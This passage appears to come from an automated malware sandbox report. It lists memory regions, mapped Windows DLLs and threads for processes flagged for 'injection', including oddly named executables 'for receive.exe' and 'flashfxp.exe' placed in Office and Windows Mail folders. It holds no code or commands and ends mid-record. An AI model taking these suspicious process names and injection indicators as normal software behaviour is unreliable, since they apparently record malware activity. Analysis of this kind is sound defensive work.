"pagefile_0x0000000001ee0000" filename = "" Region: id = 5121 start_va = 0x2010000 end_va = 0x201ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002010000" filename = "" Region: id = 5122 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5123 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5124 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5125 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 5126 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 5127 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 5128 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5129 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5130 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5131 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5132 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5133 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 5134 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 5135 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5136 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5137 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5138 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5139 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5140 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5141 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5142 start_va = 0x7e310000 end_va = 0x7e40ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e310000" filename = "" Region: id = 5143 start_va = 0x7e410000 end_va = 0x7e432fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e410000" filename = "" Region: id = 5144 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5145 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5146 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5147 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 5168 start_va = 0x4d0000 end_va = 0x4d3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 5169 start_va = 0x4e0000 end_va = 0x4e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 5170 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5171 start_va = 0x540000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 5172 start_va = 0x2020000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 5173 start_va = 0x4f0000 end_va = 0x4f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 5174 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5175 start_va = 0x500000 end_va = 0x500fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 5176 start_va = 0x580000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 5177 start_va = 0x2120000 end_va = 0x2456fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 203 os_tid = 0xe5c Thread: id = 204 os_tid = 0xe50 Thread: id = 383 os_tid = 0x584 Process: id = "31" image_name = "for receive.exe" filename = "c:\\program files\\microsoft office\\for receive.exe" page_root = "0x59219000" os_pid = "0xe00" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Microsoft Office\\for receive.exe\" " cur_dir = "C:\\Program Files\\Microsoft Office\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5465 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5466 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5467 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5468 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 5469 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 5470 start_va = 0x70000 end_va = 0x71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 5471 start_va = 0x80000 end_va = 0x83fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 5472 start_va = 0x90000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 5473 start_va = 0xd0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 5474 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 5475 start_va = 0x1e0000 end_va = 0x1e3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 5476 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5477 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5478 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 5479 start_va = 0x6c0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 5480 start_va = 0x7c0000 end_va = 0x87bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 5481 start_va = 0x890000 end_va = 0x8a6fff monitored = 0 entry_point = 0x8914a1 region_type = mapped_file name = "for receive.exe" filename = "\\Program Files\\Microsoft Office\\for receive.exe" (normalized: "c:\\program files\\microsoft office\\for receive.exe") Region: id = 5482 start_va = 0x8b0000 end_va = 0xa37fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008b0000" filename = "" Region: id = 5483 start_va = 0xa40000 end_va = 0xbc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a40000" filename = "" Region: id = 5484 start_va = 0xbd0000 end_va = 0x1fcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bd0000" filename = "" Region: id = 5485 start_va = 0x20d0000 end_va = 0x20dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 5486 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 5487 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5488 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5489 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5490 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 5491 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 5492 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 5493 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5494 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5495 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5496 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5497 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5498 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 5499 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 5500 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5501 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5502 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5503 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5504 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5505 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5506 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5507 start_va = 0x7e650000 end_va = 0x7e74ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e650000" filename = "" Region: id = 5508 start_va = 0x7e750000 end_va = 0x7e772fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e750000" filename = "" Region: id = 5509 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5510 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5511 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5512 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 5513 start_va = 0x1f0000 end_va = 0x1f3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 5514 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 5515 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5516 start_va = 0x4d0000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 5517 start_va = 0x590000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 5518 start_va = 0x510000 end_va = 0x510fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 5519 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5520 start_va = 0x520000 end_va = 0x520fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 5521 start_va = 0x1fd0000 end_va = 0x204ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 5522 start_va = 0x22c0000 end_va = 0x25f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 205 os_tid = 0xe0c Thread: id = 206 os_tid = 0xe04 Thread: id = 389 os_tid = 0xd28 Process: id = "32" image_name = "flashfxp.exe" filename = "c:\\program files\\windows mail\\flashfxp.exe" page_root = "0x73ca8000" os_pid = "0xe84" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Windows Mail\\flashfxp.exe\" " cur_dir = "C:\\Program Files\\Windows Mail\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4833 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4834 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4835 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4836 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4837 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4838 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 4839 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 4840 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4841 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4842 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4843 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 4844 start_va = 0x5d0000 end_va = 0x757fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4845 start_va = 0x760000 end_va = 0x8e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 4846 start_va = 0x8f0000 end_va = 0x8f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 4847 start_va = 0x940000 end_va = 0x943fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 4848 start_va = 0x950000 end_va = 0xa0bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 4849 start_va = 0xa10000 end_va = 0xa13fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a10000" filename = "" Region: id = 4850 start_va = 0xa30000 end_va = 0xa46fff monitored = 0 entry_point = 0xa314a1 region_type = mapped_file name = "flashfxp.exe" filename = "\\Program Files\\Windows Mail\\flashfxp.exe" (normalized: "c:\\program files\\windows mail\\flashfxp.exe") Region: id = 4851 start_va = 0xbf0000 end_va = 0xceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 4852 start_va = 0xcf0000 end_va = 0x20effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cf0000" filename = "" Region: id = 4853 start_va = 0x22d0000 end_va = 0x22dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 4854 start_va = 0x24d0000 end_va = 0x24dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024d0000" filename = "" Region: id = 4855 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4856 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4857 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4858 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 4859 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 4860 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 4861 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4862 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4863 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4864 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4865 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4866 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 4867 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 4868 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4869 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4870 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4871 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4872 start_va 